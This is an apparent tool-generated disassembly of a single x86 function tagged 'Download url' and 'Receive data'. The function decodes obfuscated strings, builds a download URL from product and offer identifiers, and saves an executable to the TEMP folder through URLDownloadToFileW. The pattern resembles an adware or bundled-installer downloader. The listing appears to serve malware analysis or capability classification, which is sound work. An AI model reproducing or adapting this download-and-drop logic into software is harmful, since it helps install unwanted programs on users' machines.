Function at 0x41b6f4
Capabilities:
Download url
Receive data

Disassembly:
push 0x4bc
mov eax, 0x493958
call fcn.0047ae59
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4c8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x4c4], ecx
push eax
lea ecx, [ebp - 0x4b8]
call fcn.004040e8
and dword [ebp - 4], 0
push str.RVJbSVVKT0VGQw
lea eax, [ebp - 0x198]
call fcn.00401556
xor ebx, ebx
lea eax, [ebp - 0x198]
inc ebx
push eax
mov byte [ebp - 4], bl
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x1b4]
call fcn.00404573
push ebx
xor edi, edi
lea esi, [ebp - 0x198]
mov byte [ebp - 4], 3
call fcn.0040162a
push 0x49cc40
lea esi, [ebp - 0x1b4]
call fcn.00401c1b
pop ecx
test al, al
je 0x41bc3b
push str.QVdBVlVORw
lea eax, [ebp - 0xd4]
call fcn.00401556
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 4
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x80]
call fcn.00404573
push ebx
lea esi, [ebp - 0xd4]
mov byte [ebp - 4], 6
call fcn.0040162a
cmp dword [ebp - 0x6c], 8
mov ecx, dword [ebp - 0x80]
mov eax, ecx
jae 0x41b7c7
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 8
mov edx, dword [ebp - 0x70]
lea eax, [eax + edx*2]
jae 0x41b7d6
lea ecx, [ebp - 0x80]
push eax
push ecx
lea esi, [ebp - 0x2c]
call fcn.00410225
mov eax, esi
push eax
lea edi, [ebp - 0x48]
mov byte [ebp - 4], 7
call fcn.0041aa03
pop ecx
mov esi, eax
lea edi, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.0040fa23
push 0
push ebx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 7
call fcn.00406268
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
jae 0x41b81a
mov eax, edi
add eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], 0x10
jae 0x41b826
lea ecx, [ebp - 0x2c]
push eax
push ecx
lea esi, [ebp - 0x128]
call fcn.0041f63a
push str.QVdBVkNJP0hCTD8
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 9
call fcn.00401556
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 0xa
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x64]
call fcn.00404573
push ebx
xor edi, edi
lea esi, [ebp - 0xd4]
mov byte [ebp - 4], 0xc
call fcn.0040162a
cmp dword [ebp - 0x50], 8
mov ecx, dword [ebp - 0x64]
mov eax, ecx
jae 0x41b881
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
mov edx, dword [ebp - 0x54]
lea eax, [eax + edx*2]
jae 0x41b890
lea ecx, [ebp - 0x64]
push eax
push ecx
lea esi, [ebp - 0x9c]
call fcn.00410225
mov eax, esi
push eax
lea edi, [ebp - 0x48]
mov byte [ebp - 4], 0xd
call fcn.0041aa03
pop ecx
mov esi, eax
lea edi, [ebp - 0x9c]
mov byte [ebp - 4], 0xe
call fcn.0040fa23
push 0
push ebx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xd
call fcn.00406268
cmp dword [ebp - 0x88], 0x10
mov ecx, dword [ebp - 0x9c]
mov eax, ecx
jae 0x41b8e0
mov eax, edi
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x88], 0x10
jae 0x41b8f5
lea ecx, [ebp - 0x9c]
push eax
push ecx
lea esi, [ebp - 0x144]
call fcn.0041f63a
push str.TFFLO1U_T1tHP0dB
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 0xf
call fcn.00401556
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 0x10
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x160]
call fcn.00404573
push ebx
xor edi, edi
lea esi, [ebp - 0xd4]
mov byte [ebp - 4], 0x12
call fcn.0040162a
push str.__productname
lea eax, [ebp - 0x10c]
call fcn.00401556
lea eax, [ebp - 0x160]
push eax
sub esp, 0x1c
lea eax, [ebp - 0x498]
mov esi, esp
mov dword [ebp - 0x4bc], esp
push eax
mov byte [ebp - 4], 0x13
lea edi, [ebp - 0x10c]
call fcn.00405b15
lea eax, [ebp - 0x48]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
mov ebx, eax
lea eax, [ebp - 0x498]
mov byte [ebp - 4], 0x14
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x10c]
mov byte [ebp - 4], 0x12
call fcn.0040162a
push 0x49c268
lea eax, [ebp - 0x48]
call fcn.00401556
push str.obAmpersand
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x15
call fcn.00401556
push str.__exeurl
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x16
call fcn.00401556
lea eax, [ebp - 0x48]
push eax
sub esp, 0x1c
lea eax, [ebp - 0x128]
mov esi, esp
mov dword [ebp - 0x4bc], esp
push eax
mov byte [ebp - 4], 0x17
lea edi, [ebp - 0xf0]
call fcn.00405b15
lea eax, [ebp - 0xb8]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
push eax
sub esp, 0x1c
lea eax, [ebp - 0x498]
mov esi, esp
mov dword [ebp - 0x4bc], esp
push eax
mov byte [ebp - 4], 0x18
lea edi, [ebp - 0x10c]
call fcn.00405b15
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
mov ebx, eax
lea eax, [ebp - 0x498]
mov byte [ebp - 4], 0x19
call fcn.004062ac
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0x17c]
call fcn.0040162a
push ebx
lea esi, [ebp - 0xb8]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x10c]
call fcn.0040162a
push ebx
lea esi, [ebp - 0xf0]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 0x12
call fcn.0040162a
push str.__productid
lea eax, [ebp - 0x48]
call fcn.00401556
push dword [ebp - 0x4c4]
lea eax, [ebp - 0x498]
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4bc], esp
push eax
mov byte [ebp - 4], 0x1a
lea edi, [ebp - 0x48]
call fcn.00405b15
lea eax, [ebp - 0xb8]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
mov ebx, eax
lea eax, [ebp - 0x498]
mov byte [ebp - 4], 0x1b
call fcn.004062ac
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0xb8]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 0x12
call fcn.0040162a
push 0x49c268
lea eax, [ebp - 0xf0]
call fcn.00401556
mov byte [ebp - 4], 0x1c
push str.obAmpersand
lea eax, [ebp - 0x48]
call fcn.00401556
push 0x49c1d8
lea eax, [ebp - 0xf0]
push eax
sub esp, 0x1c
lea eax, [ebp - 0x144]
mov esi, esp
mov dword [ebp - 0x4bc], esp
push eax
mov byte [ebp - 4], 0x1d
lea edi, [ebp - 0x48]
call fcn.00405b15
lea eax, [ebp - 0x10c]
push eax
mov ecx, edi
call fcn.00415310
add esp, 0x24
push eax
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 0x1e
call fcn.0041f662
pop ecx
push eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x1f
call fcn.004102a7
pop ecx
pop ecx
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x498]
mov byte [ebp - 4], 0x20
call fcn.00406680
push ebx
xor edi, edi
lea esi, [ebp - 0xb8]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x17c]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x10c]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x48]
call fcn.0040162a
push ebx
lea esi, [ebp - 0xf0]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x160]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x144]
call fcn.0040162a
push edi
push ebx
lea ecx, [ebp - 0x9c]
call fcn.00406268
push ebx
lea esi, [ebp - 0x64]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x128]
call fcn.0040162a
push edi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00406268
push ebx
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 3
call fcn.0040162a
cmp dword [ebp - 0x434], 0
je 0x41bf4e
push str.TEMP
call fcn.004783f4
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040d846
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x1c]
lea esi, [ebp - 0x64]
call fcn.0040ebfe
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x50], 8
mov edx, dword [ebp - 0x64]
jae 0x41bc7a
mov edx, esi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41bc86
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
add ecx, eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41bca4
lea eax, [ebp - 0x2c]
jmp 0x41bca4
movsx si, byte [eax]
mov word [edx], si
add edx, 2
inc eax
cmp eax, ecx
jne 0x41bc99
mov esi, 0x49e094
lea eax, [ebp - 0x144]
push esi
push eax
lea edi, [ebp - 0x64]
call fcn.004069ac
lea ecx, [ebp - 0x128]
push 0x4b6634
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x23
call fcn.004102d8
push esi
push eax
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 0x24
call fcn.004102a7
push str._OuterInst_0
push eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x25
call fcn.004102a7
push str..exe
push eax
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0x26
call fcn.004102a7
add esp, 0x28
push ebx
xor edi, edi
lea esi, [ebp - 0xb8]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x17c]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x128]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x144]
mov byte [ebp - 4], 0x2b
call fcn.0040162a
push 0xffffffffffffffff
xor esi, esi
push esi
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x47c]
call fcn.00401590
fld dword [0x4a51a0]
fstp dword [ebp - 0x4c4]
call fcn.004799ad
cmp dword [ebp - 0x6c], 8
mov ecx, dword [ebp - 0x80]
mov edi, eax
jae 0x41bd77
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x430], 8
mov eax, dword [ebp - 0x444]
jae 0x41bd8c
lea eax, [ebp - 0x444]
push esi
push esi
push ecx
push eax
push esi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
call fcn.004799ad
sub eax, edi
mov dword [ebp - 0x4c0], eax
fild dword [ebp - 0x4c0]
lea eax, [ebp - 0x498]
push eax
lea esi, [ebp - 0xf0]
fstp dword [ebp - 0x4bc]
mov dword [ebp - 4], 0x2b
call fcn.00405b15
push str.RU1PS0FIR1s9QzxRRg
lea eax, [ebp - 0x128]
mov byte [ebp - 4], 0x2e
call fcn.00401556
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 4], 0x2f
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x48]
call fcn.00404573
push ebx
xor edi, edi
lea esi, [ebp - 0x128]
mov byte [ebp - 4], 0x31
call fcn.0040162a
push 0x49f200
lea esi, [ebp - 0x48]
call fcn.00401c1b
pop ecx
test al, al
jne 0x41be73
push 0x49c154
lea esi, [ebp - 0x32c]
call fcn.00401c1b
test al, al
setne al
pop ecx
mov byte [ebp - 0x4c0], al
call fcn.004799ad
push edi
push dword [ebp - 0x4c0]
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x47c]
mov esi, eax
call fcn.00414ca7
pop ecx
pop ecx
call fcn.004799ad
sub eax, esi
mov dword [ebp - 0x4c0], eax
fild dword [ebp - 0x4c0]
fstp dword [ebp - 0x4c4]
jmp 0x41be7e
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.offerid
lea eax, [ebp - 0x144]
call fcn.00401556
lea eax, [ebp - 0x4b4]
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 0x32
call fcn.0041abc7
pop ecx
push ebx
xor edi, edi
lea esi, [ebp - 0x144]
mov byte [ebp - 4], 0x34
call fcn.0040162a
fld dword [ebp - 0x4c4]
xor esi, esi
push esi
push esi
call fcn.0048e340
fld dword [ebp - 0x4bc]
push eax
push esi
call fcn.0048e340
push eax
lea eax, [ebp - 0x348]
push eax
push 0xfffffffffffffffe
lea eax, [ebp - 0x160]
push eax
push esi
lea eax, [ebp - 0x3d4]
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.0041592c
add esp, 0x2c
push ebx
lea esi, [ebp - 0xb8]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x160]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x48]
call fcn.0040162a
push ebx
lea esi, [ebp - 0xf0]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x80]
call fcn.0040162a
push ebx
lea esi, [ebp - 0x64]
call fcn.0040162a
push edi
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.00406268
mov esi, dword [ebp - 0x4c8]
push 0x49bf80
call fcn.00401c1b
pop ecx
test al, al
jne 0x41bf6a
mov ecx, esi
call fcn.00416290
push ebx
xor edi, edi
lea esi, [ebp - 0x1b4]
call fcn.0040162a
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x4b8]
push eax
call fcn.00404757
call fcn.0047aedc
ret